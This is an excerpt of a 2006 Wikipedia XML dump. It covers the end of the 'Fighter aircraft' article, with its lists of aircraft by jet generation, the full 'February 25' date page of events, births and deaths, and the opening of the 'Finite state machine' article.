Fighter aircraft of the second world war featured all the innovations of the 1930s. Piston-engined fighters continued to be refined and developed with increasing performance and capabilities, up until the advent of [[jet aircraft]] such as the [[Messerschmitt Me 262]] and [[Gloster Meteor]]. Many of these fighters would do over 400 mph (600 km/h) in level flight, and were fast enough in a dive that they started encountering the transonic buffeting experienced near Mach 1, occasionally breaking up in flight due to the heavy load placed on an aircraft near the so-called &quot;sound barrier&quot;. Dive brakes were developed late in WW II to minimize these problems and restore control to the pilots.

Radar, invented shortly prior to WWII, was fitted to some fighters, such as the [[Messerschmitt Bf 110]] and [[Northrop P-61 Black Widow]] to enable them to locate targets at night. Another innovation of this period was the strike fighter. Short on aircraft, Marines in the Pacific bolted bomb racks on to their [[F4U Corsair]]s. This proved a versatile concept, as the fighters were able to fight enemy fighters once they had relieved themselves of their bombload.

Notable Aircraft:
* Germany
** [[Messerschmitt Bf 109]]
** [[Messerschmitt Bf 110]]
** [[Focke-Wulf Fw 190]]
** [[Messerschmitt Me 163]]
** [[Messerschmitt Me 262]]
** [[Heinkel He 162]]
*Japan
** [[Kawanishi N1K-J]]
** [[Mitsubishi Zero]]
* Soviet Union
** [[Yakovlev Yak-9]]
** [[Lavochin]] [[La-5]]
* United Kingdom
** [[Supermarine Spitfire]]
** [[Hawker Hurricane]]
** [[Hawker Typhoon]]
** [[Hawker Tempest]]
** [[De Havilland Mosquito]]
** [[Gloster Meteor]]
* United States
** [[Grumman]] [[F4F Wildcat]]
** [[Vought]] [[F4U Corsair]]
** [[Grumman]] [[F6F Hellcat]]
** [[Lockheed]] [[P-38 Lightning]]
** [[Bell Aircraft Corporation|Bell]] [[P-39 Airacobra]]
** [[Curtiss P-40]]
** [[Republic Aviation Company|Republic]] [[P-47 Thunderbolt]]
** [[North American Aviation|North American]] [[P-51 Mustang]]

== The Jet age ==
Jet fighters are classified by generation. Note that the years are not exact and intended as a guideline.
===First Generation (1945 - 1953)===

[[Image:MiG-15 RB1.jpg|thumb|right|250px|A MiG-15 in [[Poland|Polish]] markings.]]

The first generation represents the first attempts at utilizing turbojets for propulsion, providing greatly increased speed as efficiency of piston-driven propellers drops off considerably at speeds approaching Mach 1. Outside of the speed difference, these early jets in other respects resembled their piston-driven counterparts. They were straight-winged aircraft armed primarily with cannon; radar was not yet in common usage except on specialized night fighters.

The first jets were developed during WWII and saw combat in the last year. Messerschmitt developed the first operational jet fighter, the Me 262. It was considerably faster than piston-driven aircraft, and in the hands of a competent pilot, was practically untouchable. Due to German fuel shortages, however, it was little used. Nevertheless the plane indicated the obsolence of piston-driven aircraft. Spurred by reports of the German jets, Britain's Gloster Meteor entered production soon after. By the end of the war almost all work on piston powered fighters had ended. 

Despite the advantages, the early jet fighters were far from perfect. Their operational lifespans could be measured primarily in hours; the engines themselves were fragile and balky, and power could only be adjusted slowly.  Technology such as [[swept wing]]s, [[ejector seat]]s, and all-moving [[tailplane]]s were introduced in this period.

* U.S.
** [[Lockheed]] [[P-80 Shooting Star]]
** [[North American Aviation|North American]] [[F-86 Sabre]]
** [[Northrop]] [[F-89J Scorpion]] 
** [[McDonnell]] [[XF-85 Goblin]]
* U.S.S.R
** [[Mikoyan-Gurevich MiG-15]]
** [[Mikoyan-Gurevich MiG-17]]
* United Kingdom
** [[de Havilland Vampire]]
** [[Hawker Hunter]]
** [[Gloster Javelin]]
* France
** [[Dassault Ouragan]]
** [[Dassault_Myst%C3%A8re_IV]]
* Sweden
** [[Saab Tunnan]]
* [[Canada]]
** [[Avro CF-100]]

=== Second Generation (1953-1960) ===
[[Image:F-100.jpg|thumb|right|250px|A &quot;second generation&quot; North American [[F-100 Super Sabre]]. This was the first American jet aircraft to break the sound barrier in level flight.]]
The second generation describes the integration of many new technologies to greatly improve the fighting capability of the jet fighter. The introduction of guided missiles such as the [[AIM-9 Sidewinder]] and [[AIM-7 Sparrow]] moved combat to beyond visual range (though it often devolved into [[dogfights]] in visual range), necessitating the standardization of radar to acquire targets. Designers experimented with a variety of aeronautical concepts, such as the [[swept wing]] [[delta wing]], [[variable-sweep]] wings, and [[area-rule]]d fuselages. With the aid of swept wing, these were the first aircraft to break the sound barrier.


The primary specializations of this era were the [[fighter-bomber]] (such as the [[F-105]] and the [[Sukhoi Su-7]], and the interceptor ([[English Electric Lightning]] and [[Mikoyan-Gurevich MiG-25]]). The interceptor was an outgrowth of the vision that guided missles would completely replace guns and combat would take place at beyond visual range. As a result, interceptors were designed with a large missile payload and a powerful radar, sacrificing agility in favor of speed and [[rate of climb]]. 

Notable Aircraft:
* U.S.
** [[Chance-Vought]] [[F-8 Crusader]]
** [[Republic Aviation|Republic]] [[F-105 Thunderchief]]
** [[Lockheed]] [[F-104 Starfighter]]
** [[North American Aviation|North American]] [[F-100 Super Sabre]]
* U.S.S.R
** [[Mikoyan-Gurevich MiG-19]]
** [[Mikoyan-Gurevich MiG-21]]
* United Kingdom
** [[English Electric Lightning]]
** [[De Havilland Sea Vixen]]
** [[Gloster Javelin]]
* [[France]]
** [[Dassault Étendard IV]]
** [[Dassault Mirage III]]
* Canada
** [[Avro Arrow]]
* Sweden 
** [[Saab Draken]]
* [[India]]
** [[HAL HF-24 Marut]]

===Third Generation (1960-1970) ===
[[Image:F-4 Phantom II in flying.jpg|thumb|right|250px|A &quot;third generation&quot; F-4 Phantom II.]]
The third generation is marked by the maturation of technologies introduced in the second generation: radar, missiles, avionics, etc. Most significantly, as a result of combat experience with guided missiles, designers conceded that combat could and would degernate into close dogfights. Guns again became standard, and maneuverability was once again a priority. At this time, aeronautical development approached maturity, and growth in combat capability was accomplished via the introduction of new avionics, radars, and missiles.

These innovations, while greatly improving the capabilities of fighters (the F-4 could carry a similar payload as the [[B-24 Liberator]], a WWII heavy bomber), also came at a considerable increase at cost. Whereas militaries had previously specialized specialized fighters for specific roles such as night fighter, heavy fighter, strike fighter. To counter the growing cost of fighters, militaries began to consolidate missions. The [[F-4 Phantom II|McDonnell F-4 ''Phantom II'']] was designed as a pure interceptor for the [[US Navy]], but became a highly successful multi-role aircraft for the [[US Air Force]], [[US Navy]] and [[US Marine Corps]] as well as many other nations. It is the only combat aircraft to be simultaneously flown by all three US air forces. However, the subsequent [[General Dynamics F-111]], intended as a multi-role, multi-service fighter, proved to be a near-disaster, so ineffectual as a fighter that the Navy version was abandoned, and the type eventually matured as a [[bomber]].


Notable fighters:

*China
[[Shenyang J-8]]
*France
*[[Dassault Mirage F.1]]
*[[Dassault Super Étendard ]]
*Soviet Union
** [[Mikoyan-Gurevich MiG-23]]
** [[Mikoyan-Gurevich MiG-25]]
** [[Sukhoi Su-15]]
** [[Sukhoi Su-17]]
** [[Tupolev Tu-28]]
*United Kingdom
[[BAE Sea Harrier]]
*United States
*[[McDonnell Douglas]] [[F-4 Phantom II]]
*[[Northrop]] [[F-5 Freedom Fighter]]

===Fourth Generation 1970-1990===
[[Image:F-15 vertical deploy.jpg|thumb|right|250px|A &quot;fourth generation&quot; F-15 Eagle.]]
In reaction to the continually rising cost of fighters and the demonstrated success of the [[F-4 Phantom II]], multirole fighters became popular during this period, and even aircraft designed for a specific role (as the [[F-4]] had) acquired multi-role capability. Fighters such as the [[MiG-23]] and [[Panavia Tornado]] have versions specially suited for various roles, while the multirole warplanes including the [[F/A-18 Hornet]] and [[Dassault Mirage 2000]]. This was facilitated by avionics which could switch seamlessly between air and ground modes. As development costs increased, economics further pushed the development for multirole aircraft.

Unlike interceptors of the previous era, most modern air-superiority fighters have been designed to be agile dog-fighters. [[Fly-by-wire]] controls and [[relaxed stability]] is common among modern fighters. Aircraft here make up most of the &quot;third&quot; and &quot;fourth generations&quot; of fighter jets.

[[Image:2000 CF-18Hornet.jpg|right|thumb|325px|A [[Canadian]] [[CF-18 Hornet]].]]

* China
** [[Chengdu J-10]]
* France
** [[Dassault Mirage 2000]]
* India
**[[HAL Tejas]]
* Israel
** [[IAI Kfir]]
* Japan
*([[Mitsubishi F-2]]
* Sweden
** [[Saab Viggen]]
* Taiwan
**[[AIDC F-CK Indigenous Defence Fighter]]
* UK/Germany/Italy
** [[Panavia Tornado]]
* United Kingdom
** [[Hawker-Siddeley Harrier]]
* United States
** [[Grumman]] [[F-14 Tomcat]]
** [[McDonnell Douglas]] [[F-15 Eagle]]
** [[General Dynamics]] [[F-16 Fighting Falcon]]
** [[McDonnell Douglas]] [[F/A-18 Hornet]]
** [[McDonnell Douglas]] [[AV-8B Harrier II]]
** [[Northrop]] [[F-20 Tigershark]]
* Soviet Union/Russian Federation
** [[Mikoyan MiG-29]]
** [[Mikoyan MiG-31]]
** [[Sukhoi Su-27]]
** [[Yakolev]] [[Yak-38]]

===Generation 4.5===
[[Image:Su30mki1thumb.jpg|thumb|right|250px|India's &quot;4.5th generation&quot; Su-30 MKI]]
[[Image:Joint Strike Fighter.jpg|thumb|right|250px|The F-35 Joint Strike Fighter, a &quot;fifth generation&quot; jet fighter.]]
The current cutting edge of fighter design combines previous emphasis on versatility with new developments such as [[glass cockpit]]s, [[thrust vectoring]], [[composite materials]], [[supercruise]], and [[stealth technology]]. With the exception of the [[F/A-18E/F Super Hornet]], none of these fighters have been tested in combat to date. Fighters listed here are representative of the 4.5th and 5th generation, including the [[PAK FA]], the first fighter to be assigned one(fifth).

Current developments include reducing the [[radar]] visibility of fighters--techniques known as [[Stealth technology|stealth]]--as well as increased range at supersonic speeds ([[supercruise]]) and better maneuverability.  Ultimately, most authorities believe that there is no future for crewed fighter planes as they will eventually be replaced by [[Unmanned Combat Air Vehicle]]s (UCAV) .  However, the world's major air forces are all in the process of replacing their craft with a new generation of planes, so the transition is likely some time away yet.
* U.S.
** [[F/A-18E/F Super Hornet]]
** [[F/A-22 Raptor]]
* Russia
** [[Mikoyan Project 1.44]]
** [[Mikoyan MiG-35]] (MiG-29 with thrust vectoring)
** [[Sukhoi Su-37]]
* India
** [[HAL Tejas]]
** [[Medium Combat Aircraft|MCA]]
** [[Sukhoi Su-30|Su-30MKI]] (from Russia)
* France
** [[Dassault Rafale]]
** [[Dassault Neuron]]
* Iran
** [[Shafagh]]
* Sweden
** [[Saab Gripen]]
* China
** [[J-10]]
** [[J-XX]]
** [[FC-1]]
**[[JH-7]]
* Japan
** [[Mitsubishi F-2]]
* International
** [[Eurofighter Typhoon]] (U.K., Germany, Italy and Spain)
** [[F-35 Joint Strike Fighter]] (U.S. and U.K.)
** [[Sukhoi Su-47]] (Russia and India)
** [[JF-17]] (China and Pakistan)

''See also:'' [[Military aircraft list]], [[Comparison of 21st century fighter aircraft]]

==External links==
*[http://www.india-defence.com/specifications/fighters Fighters] specifications, photographs &amp; development histories on [http://www.india-defence.com/specifications/ Weapon Specifications]
*[http://www.fighter-planes.com/ Fighter Planes and Military Aircraft (data and images)]
*[http://www.defencetalk.com/pictures/ Fighter Planes and Military Aircraft] 
*[http://www.topfighters.com/ Military fighter aircraft in detail]
*[http://www.skygod.com/quotes/combat.html Fighter Combat Quotations]

{{airlistbox}}

[[Category:Military aircraft]]
[[Category:Fighter aircraft|*]]
&lt;!-- The below are interlanguage links. --&gt;

[[bg:Изтребител]]
[[zh-min-nan:Chiàn-tàu-ki]]
[[da:Jagerfly]]
[[de:Kampfflugzeug]]
[[es:Caza (avión)]]
[[fa:جنگنده (هواپیما)]]
[[fr:Avion de chasse]]
[[ko:전투기]]
[[it:Aereo da caccia]]
[[he:מטוס קרב]]
[[ms:Pesawat pejuang]]
[[nl:Jachtvliegtuig]]
[[ja:戦闘機]]
[[no:Jagerfly]]
[[pl:Myśliwiec]]
[[pt:Caça (avião)]]
[[ru:Истребитель]]
[[sl:Lovsko letalo]]
[[fi:Hävittäjä (lentokone)]]
[[sv:Jaktplan]]
[[zh:战斗机]]</text>
    </revision>
  </page>
  <page>
    <title>February 25</title>
    <id>10930</id>
    <revision>
      <id>42059958</id>
      <timestamp>2006-03-03T15:01:13Z</timestamp>
      <contributor>
        <username>JackHearne</username>
        <id>714706</id>
      </contributor>
      <comment>/* Deaths */</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=25}}
|}
'''February 25''' is the 56th day of the year in the [[Gregorian Calendar]]. There are 309 days remaining, 310 in [[leap year]]s.
==Events==
*[[138]] - The [[Roman Emperors|Emperor]] [[Hadrian]] adopts [[Antoninus Pius]], effectively making him his successor.
*[[1570]] - [[Pope Pius V]] [[excommunicate|excommunicates]] [[Queen]] [[Elizabeth I of England]].
*[[1793]] - [[George Washington]] holds the first [[Cabinet (government)|Cabinet]] meeting as [[President of the United States]].
*[[1836]] - [[Samuel Colt]] receives an [[United States|American]] [[patent]] for the [[Colt Firearms|Colt]] [[revolver]].
*[[1837]] - First [[United States|U.S.]] electric printing press patented by [[Thomas Davenport]].
*[[1870]] - [[Hiram Rhodes Revels]], a [[Republican Party (United States)|Republican]] from [[Mississippi]], is sworn into the [[United States Senate]], becoming the first [[African American]] ever to sit in the [[Congress of the United States|U.S. Congress]].
*[[1901]] - [[J.P. Morgan]] incorporates the [[United States Steel Corporation]]. 
* [[1912]] - [[Marie-Adélaïde, Grand Duchess of Luxembourg|Marie-Adélaïde]], the eldest of six daughters of [[Guillaume IV, Grand Duke of Luxembourg|Guillaume IV]], becomes the first reigning [[Grand Duke of Luxembourg|Grand Duchess]] of [[Luxembourg]]. 
*[[1913]] - The [[16th Amendment to the United States Constitution]], authorizing a graduated [[income tax]], is ratified. 
*[[1919]] - [[Oregon]] places a 1 cent per [[United States|U.S.]] [[gallon]] [[taxation|tax]] on [[gasoline]], becoming the first [[U.S. state]] to levy a [[gasoline tax]].
*[[1921]] - The [[Democratic Republic of Georgia]] joins [[Soviet Russia]]. 
*[[1925]] - Glacier Bay National Monument (now [[Glacier Bay National Park and Preserve]]) is established in [[Alaska]]. 
*[[1928]] - [[Charles Jenkins Laboratories]] of [[Washington, DC]] becomes the first holder of a [[television]] license from the [[Federal Radio Commission]]. 
*[[1933]] - The [[USS Ranger (CV-4)|USS ''Ranger'']] is launched, becoming the first custom-built [[aircraft carrier]].
*[[1951]] - The first [[Pan American Games]] are held in [[Buenos Aires]], [[Argentina]].
*[[1954]] - [[Gamal Abdul Nasser]] is made premier of [[Egypt]].
*[[1956]] -  In his speech ''[[On the Personality Cult and its Consequences]]'' [[Soviet]] leader [[Nikita Khrushchev]] denounces the actions of [[Joseph Stalin]].
*[[1964]] - [[Cassius Clay]] beats [[Sonny Liston]] in [[Miami Beach, Florida]], and is [[Ali versus Liston|crowned the heavyweight champion of the world]]. 
*[[1969]] - [[Germany]] gives $5 million to an [[Arab]] [[terrorism|terrorist]] as ransom for the passengers and crew of a hijacked [[jumbo jet]]. 
*[[1971]] - The first unit of the [[Pickering Nuclear Generating Station]], first commercial [[nuclear power]] station in [[Canada]], goes online.
*[[1986]] - [[EDSA Revolution]]: [[President]] [[Ferdinand Marcos]] of the [[Philippines]] flees the nation after 20 years of rule; [[Corazon Aquino]] becomes the first [[Filipino]] woman president. 
*[[1991]] - [[Gulf War]]: An [[Iraq]]i [[Scud missile]] hits an [[United States|American]] military barracks in [[Dhahran]], [[Saudi Arabia]] killing 28 [[United States Marine Corps|U.S. Marines]].
*1991 - [[Nigel Benn]] knocks out [[Gerald McClellan]] to retain his [[WBC Super Middleweight]] title. The fight is marred by tragedy as [[McClellan]] suffers some irreversible brain damage.
*[[1994]] - [[Mosque of Abraham massacre]]: In the [[Cave of the Patriarchs]] in the [[West Bank]] city of [[Hebron]], [[Baruch Goldstein|Dr. Baruch Kappel Goldstein]] opens fire with an assault rifle, killing 29 [[Palestinian]] worshippers and injuring 125 more before being subdued and beaten to death by survivors. Subsequent rioting kills 26 more [[Palestinians]] and 9 [[Israelis]].
*[[2000]] - The [[Sweden|Swedish]] [[political party]] [[New Democracy (Sweden)|New Democracy]] is declared financially bankrupt.
*[[2004]] - On [[Ash Wednesday]], [[Mel Gibson]]'s ''[[The Passion of the Christ]]'' is released in [[film|movie]] theaters across the [[United States]], grossing approximately $370 million domestically.
*[[2005]] - [[BTK]] suspect [[Dennis Rader]] arrested in [[Park City, Kansas]].

*[[2006]] - The world's estimated [[population]] reaches 6.5 billion.

==Births==
*[[1398]] - [[Xuande]], Emperor of China (d. [[1435]])
*[[1591]] - [[Friedrich von Spee]], German writer (d. [[1635]])
*[[1643]] - [[Ahmed II]], [[Ottoman Sultan]] (d. [[1695]])
*[[1663]] - [[Pierre Antoine Motteux]], French-born English dramatist (d. [[1718]])
*[[1682]] - [[Giovanni Battista Morgagni]], Italian anatomist (d. [[1771]])
*[[1692]] - [[Karl Ludwig, Freiherr von Pöllnitz]], German adventurer and writer (d. [[1775]])
*[[1707]] - [[Carlo Goldoni]], Italian writer (d. [[1793]])
*[[1714]] - [[René Nicolas Charles Augustin de Maupeou]], Chancellor of France (d. [[1792]])
*1714 - [[Hyde Parker]], British admiral (d. [[1782]])
*[[1725]] - [[Karl Wilhelm Ramler]], German poet (d. [[1798]])
*[[1752]] - [[John Graves Simcoe]], first Lieutenant-Governor of Upper Canada (d. [[1806]])
*[[1778]] - [[José de San Martín]], Argentine general and liberator of South America
*[[1841]] - [[Pierre-Auguste Renoir]], French painter, graphic artist and sculptor (d. [[1919]])
*[[1842]] - [[Karl May]], German writer (d. [[1912]])
*[[1845]] - [[George Reid (Australian politician)|George Reid]], fourth [[Prime Minister of Australia]] (d. [[1918]])
*[[1860]] - [[Sir William Ashley]], Economic historian. (d. [[1927]])
*[[1873]] - [[Enrico Caruso]], Italian tenor (d. [[1921]])
*[[1877]] - [[Erich von Hornbostel]], Austrian musicologist (d. [[1935]])
*[[1888]] - [[John Foster Dulles]], [[U.S. Secretary of State]] (d. [[1959]])
*[[1890]] - Dame [[Myra Hess]], English pianist (d. [[1965]])
*1890 - [[Vyacheslav Molotov]], Soviet politician (d. [[1986]])
*[[1901]] - [[Zeppo Marx]], American actor (d. [[1979]])
*[[1908]] - [[Frank G. Slaughter]], American novelist  (d. [[2001]])
*[[1910]] - [[Millicent Fenwick]], American fashion editor and politician (d. [[1992]])
*[[1913]] - [[Jim Backus]], American actor (d. [[1989]])
*1913 - [[Gert Fröbe]], German actor (d. [[1988]])
*[[1916]] - [[Reinhard Bendix]], German sociologist (d. [[1991]])
*[[1917]] - [[Anthony Burgess]], English author (d. [[1993]])
*[[1918]] - [[Barney Ewell]], American athlete (d. [[1996]])
*1918 - [[Bobby Riggs]], American tennis player (d. [[1995]])
*[[1919]] - [[Karl Pribram]], Austrian neuroscientist
*[[1921]] - [[Pierre Laporte]], Canadian statesman (assassinated) (d. [[1970]])
*[[1925]] - [[Edward Gorey]], American illustrator (d. [[2000]])
*[[1928]] - [[Larry Gelbart]], American comedy writer
*[[1929]] - [[Christopher George]], American actor  (d. [[1983]])
*[[1932]] - [[Faron Young]], American singer (d.[[1996]])
*[[1934]] - [[Tony Lema]], American pro golfer  (d. [[1966]])
*[[1935]] - [[Sally Jessy Raphaël]], American talk show host
*[[1937]] - [[Tom Courtenay]], British actor
*1937 - [[Bob Schieffer]], American broadcast journalist
*[[1938]] - [[Diane Baker]], American actress
*1938 - [[Herb Elliott]], Australian runner
*[[1940]] - [[Billy Packer]], American sports broadcaster
*1940 - [[Ron Santo]], baseball player
*[[1942]] - [[Karen Grassle]], American actress
*1942 - [[Carl Eller]], former American football player
*[[1943]] - [[Wilson Piazza]], Brazilian footballer
*[[1943]] - [[George Harrison]], British Rock Star (d. [[2001]])
*[[1946]] - [[Franz Xaver Kroetz]], German dramatist
*[[1947]] - [[Lee Evans (athlete)|Lee Evans]], American athlete
*1947 - [[Doug Yule]], American bass guitarist, ([[The Velvet Underground]])
*[[1948]] - [[Danny Denzongpa]], Indian actor
*[[1949]] - [[Ric Flair]], American professional wrestler
*[[1950]] - [[Neil Jordan]], Irish director, writer, and producer
*1950 - [[Néstor Kirchner]], [[President of Argentina]]
*[[1951]] - [[Don Quarrie]], Jamaican runner
*[[1952]] - [[Joey Dunlop]], Northern Irish motorcycle racer (d. [[2000]])
*[[1953]] - [[José María Aznar]], [[Prime Minister of Spain]]
*[[1954]] - [[John Doe (musician)|John Doe]], American musician
*[[1958]] - [[Kurt Rambis]], American pro basketball player
*[[1959]] - [[Mike Peters]], Welsh singer &amp; guitarist/harmonica player ([[The Alarm]])
*[[1960]] - [[Stefan Blöcher]], German field hockey player 
*[[1961]] - [[Davey Allison]], American race car driver (d. [[1993]])
*1961 - [[Todd Blackledge]], American football player
*[[1962]] - [[Birgit Fischer]], German kayaker
*[[1963]] - [[Nancy O'Dell]], American reporter and television personality
*[[1964]] - [[Don Majkowski]], American football player
*[[1966]] - [[Alexis Denisof]], American actor
*1966 - [[Samson Kitur]], Kenyan athlete (d. [[2003]])
*1966 - [[Téa Leoni]], American actress
*[[1968]] - [[Sandrine Kiberlain]], French actress
*[[1969]] - [[Paul Trimboli]], Australian footballer
*[[1971]] - [[Sean Astin]], American actor
*1971 - [[Dave Harris]], American disc jockey
*[[1973]] - [[Justin Jeffre]], American pop singer ([[98 Degrees]])
*[[1977]] - [[Sarah Jezebel Deva]], English heavy metal singer
*1977 - [[Josh Wolff]], American hockey player
*[[1978]] - [[Sara Sinha]], English singer and guitarist
*[[1981]] - [[Park Ji-Sung]], South Korean footballer
*[[1982]] - [[Chris Baird]], Northern Irish footballer
*[[1982]] - [[Bert McCracken]], American singer ([[The Used]])
*[[1986]] - [[Justin Berfield]], American actor
*[[1986]] - [[James and Oliver Phelps]], British actors
*[[1998]] - [[Brendon Baerg]], American actor
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Only the first instances of dates should be links. --&gt;

==Deaths==
*[[1246]] - [[Dafydd ap Llywelyn]], Prince of [[Kingdom of Gwynedd|Gwynedd]]
*[[1522]] - [[William Lilye]], English classical scholar
*[[1536]] - [[Berthold Haller]], German-born reformer (b. [[1492]])
*[[1553]] - [[Hirate Masahide]], Japanese diplomat and tutor of [[Oda Nobunaga]] (suicide) (d. [[1492]])
*[[1558]] - [[Eleanor of Austria]], Queen of Portugal and France (b. [[1498]])
*[[1577]] - [[Eric XIV of Sweden|King Eric XIV of Sweden]] (b. [[1533]])
*[[1601]] - [[Robert Devereux, 2nd Earl of Essex]], English politician (b. [[1566]])
*[[1634]] - [[Albrecht von Wallenstein]], Austrian general (b. [[1583]])
*[[1643]] - [[Marco da Gagliano]], Italian composer (b. [[1582]])
*[[1655]] - [[Daniel Heinsius]], Flemish scholar (b. [[1580]])
*[[1682]] - [[Alessandro Stradella]], Italian composer (b. [[1644]])
*[[1713]] - [[Frederick I of Prussia|King Frederick I of Prussia]] (b. [[1657]])
*[[1715]] - [[Pu Songling]], Chinese writer (b. [[1640]])
*[[1723]] - [[Christopher Wren|Sir Christopher Wren]], English architect (b. [[1632]])
*[[1756]] - [[Eliza Haywood]], English actress and writer (b. [[1693]])
*[[1798]] - [[Louis-Jules Mancini-Mazarini, Duc de Nivernais]], French diplomat and writer (b. [[1716]])
*[[1805]] - [[Thomas Pownall]], British colonial statesman (b. [[1722]])
*[[1831]] - [[Friedrich Maximilian Klinger]], German writer (b. [[1752]])
*[[1850]] - [[Daoguang]], Emperor of China (b. [[1782]])
*[[1852]] - [[Thomas Moore]], Irish poet (b. [[1779]])
*[[1860]] - [[Chauncey Allen Goodrich]], American clergyman, educator, and lexicographer (b. [[1790]])
*[[1899]] - [[Paul Julius Reuter]], German-born journalist (b. [[1816]])
*[[1912]] - [[Guillaume IV, Grand Duke of Luxembourg]] (b. [[1852]])
*[[1945]] - [[Mário de Andrade]], Brazilian writer and photographer (b. [[1893]])
*[[1950]] - [[George Minot]], American physician, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1885]])
*[[1957]] - [[Bugs Moran|George &quot;Bugs&quot; Moran]], American gangster (b. [[1893]])
*[[1964]] - [[Grace Metalious]], American writer (b. [[1924]])
*[[1971]] - [[Theodor Svedberg]], Swedish chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1884]])
*[[1975]] - [[Elijah Muhammad]], American Black Muslim leader (b. [[1897]])
*[[1978]] - [[Daniel &quot;Chappie&quot; James Jr.]], American general (b. [[1920]])
*[[1983]] - [[Tennessee Williams]], American playwright (b. [[1911]])
*[[1987]] - [[James Coco]], American actor (b. [[1930]])
*[[1994]] - [[Baruch Goldstein]], American-born mass killer (b. [[1956]])
*1994 - [[Jersey Joe Walcott]], American boxer (b. [[1914]])
*[[1996]] - [[Haing S. Ngor]], Cambodian-born actor (b. [[1940]])
*[[1999]] - [[Glenn T. Seaborg]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1912]])
*[[2001]] - [[Donald Bradman|Sir Donald Bradman]], Australian cricketer (b. [[1908]])
*[[2003]] - [[Tom O'Higgins]], Irish Chief Justice (b. [[1916]])
*[[2003]] - [[Alberto Sordi]], Italian actor (b. [[1920]])
*[[2005]] - [[Peter Benenson]], founder of Amnesty International (b. [[1921]])
*[[2006]] - [[Octavia Butler]], American author and [[MacArthur Foundation]] Fellow (b. [[1947]])
*[[2006]] - [[Darren McGavin]], American Actor (b. [[1922]])
*[[2006]] - [[Charlie Wayman]], English footballer (b. [[1922]])

==Holidays and observances==
* [[Kuwait|Kuwait's]] national day.
* [[EDSA Revolution|People Power Day]], special holiday in the [[Philippines]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/25 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20060225.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=25 On This Day in Canada]


----

[[February 24]] - [[February 26]] - [[January 25]] - [[March 25]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:25 Februarie]]
[[ar:25 فبراير]]
[[an:25 de frebero]]
[[ast:25 de febreru]]
[[bg:25 февруари]]
[[be:25 лютага]]
[[bs:25. februar]]
[[ca:25 de febrer]]
[[ceb:Pebrero 25]]
[[cv:Нарăс, 25]]
[[co:25 di frivaghju]]
[[cs:25. únor]]
[[cy:25 Chwefror]]
[[da:25. februar]]
[[de:25. Februar]]
[[et:25. veebruar]]
[[el:25 Φεβρουαρίου]]
[[es:25 de febrero]]
[[eo:25-a de februaro]]
[[eu:Otsailaren 25]]
[[fo:25. februar]]
[[fr:25 février]]
[[fy:25 febrewaris]]
[[ga:25 Feabhra]]
[[gl:25 de febreiro]]
[[ko:2월 25일]]
[[hr:25. veljače]]
[[io:25 di februaro]]
[[id:25 Februari]]
[[ia:25 de februario]]
[[is:25. febrúar]]
[[it:25 febbraio]]
[[he:25 בפברואר]]
[[jv:25 Februari]]
[[ka:25 თებერვალი]]
[[csb:25 gromicznika]]
[[ku:25'ê reşemiyê]]
[[lt:Vasario 25]]
[[lb:25. Februar]]
[[hu:Február 25]]
[[mk:25 февруари]]
[[ml:ഫെബ്രുവരി 25]]
[[ms:25 Februari]]
[[nap:25 'e frevaro]]
[[nl:25 februari]]
[[ja:2月25日]]
[[no:25. februar]]
[[nn:25. februar]]
[[oc:25 de febrièr]]
[[os:25 февралы]]
[[pl:25 lutego]]
[[pt:25 de Fevereiro]]
[[ro:25 februarie]]
[[ru:25 февраля]]
[[se:Guovvamánu 25.]]
[[sco:25 Februar]]
[[sq:25 Shkurt]]
[[scn:25 di frivaru]]
[[simple:February 25]]
[[sk:25. február]]
[[sl:25. februar]]
[[sr:25. фебруар]]
[[fi:25. helmikuuta]]
[[sv:25 februari]]
[[tl:Pebrero 25]]
[[tt:25. Febräl]]
[[te:ఫిబ్రవరి 25]]
[[th:25 กุมภาพันธ์]]
[[vi:25 tháng 2]]
[[tr:25 Şubat]]
[[uk:25 лютого]]
[[wa:25 di fevrî]]
[[war:Pebrero 25]]
[[zh:2月25日]]
[[pam:Pebreru 25]]</text>
    </revision>
  </page>
  <page>
    <title>Finite state machine</title>
    <id>10931</id>
    <revision>
      <id>42044228</id>
      <timestamp>2006-03-03T12:14:58Z</timestamp>
      <contributor>
        <ip>212.119.183.93</ip>
      </contributor>
      <comment>/* Tools */</comment>
      <text xml:space="preserve">[[Image:Finite state machine example with comments.gif|thumb|225px|right|Fig.1 Finite State Machine]]

A '''finite state machine''' (FSM) or '''finite automaton''' is a model of behavior composed of [[state (computer science)|state]]s, transitions and actions. A state stores information about the past, i.e. it reflects the input changes from the system start to the present moment. A transition indicates a state change and is described by a condition that would need to be fulfilled to enable the transition. An action is a description of an activity that is to be performed at a given moment. There are several action types:
;Entry action: execute the action when entering the state
;Exit action: execute the action when exiting the state
;Input action: execute the action dependent on present state and input conditions
;Transition action: execute the action when performing a certain transition

FSM can be represented using a [[state diagram]] (or state transition diagram) as in figure 1. Besides this, several [[state transition table]] types are used. The most common representation is shown below: the combination of current state (B) and condition (Y) shows the next state (C). The complete actions information can be added only using footnotes. An FSM definition including the full actions information is possible using [[Virtual_finite_state_machine#State_Table|state tables]] (see also [[VFSM]]). 
{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; align=&quot;center&quot;
|-
| valign=&quot;top&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;Current State/&lt;br /&gt;Condition || State A || State B || State C
|-
| Condition X || ... || ... || ... 
|-
| Condition Y || ... || State C || ...
|-
| Condition Z || ... || ... || ...
|-
|+ Caption | State transition table
|}

In addition to their use in modeling reactive systems presented here, finite state automata are significant in many different areas, including [[linguistic]]s, [[computer science]], [[philosophy]], [[biology]], [[mathematic]]s, and [[logic]].  A complete survey of their applications is outside the scope of this article.  Finite state machines are one type of the automata studied in [[automata theory]] and the [[theory of computation]].
In computer science, finite state machines are widely used in modelling of application behaviour, design of hardware digital systems, software engineering, compilers, and the study of computation and languages.

==Classification==
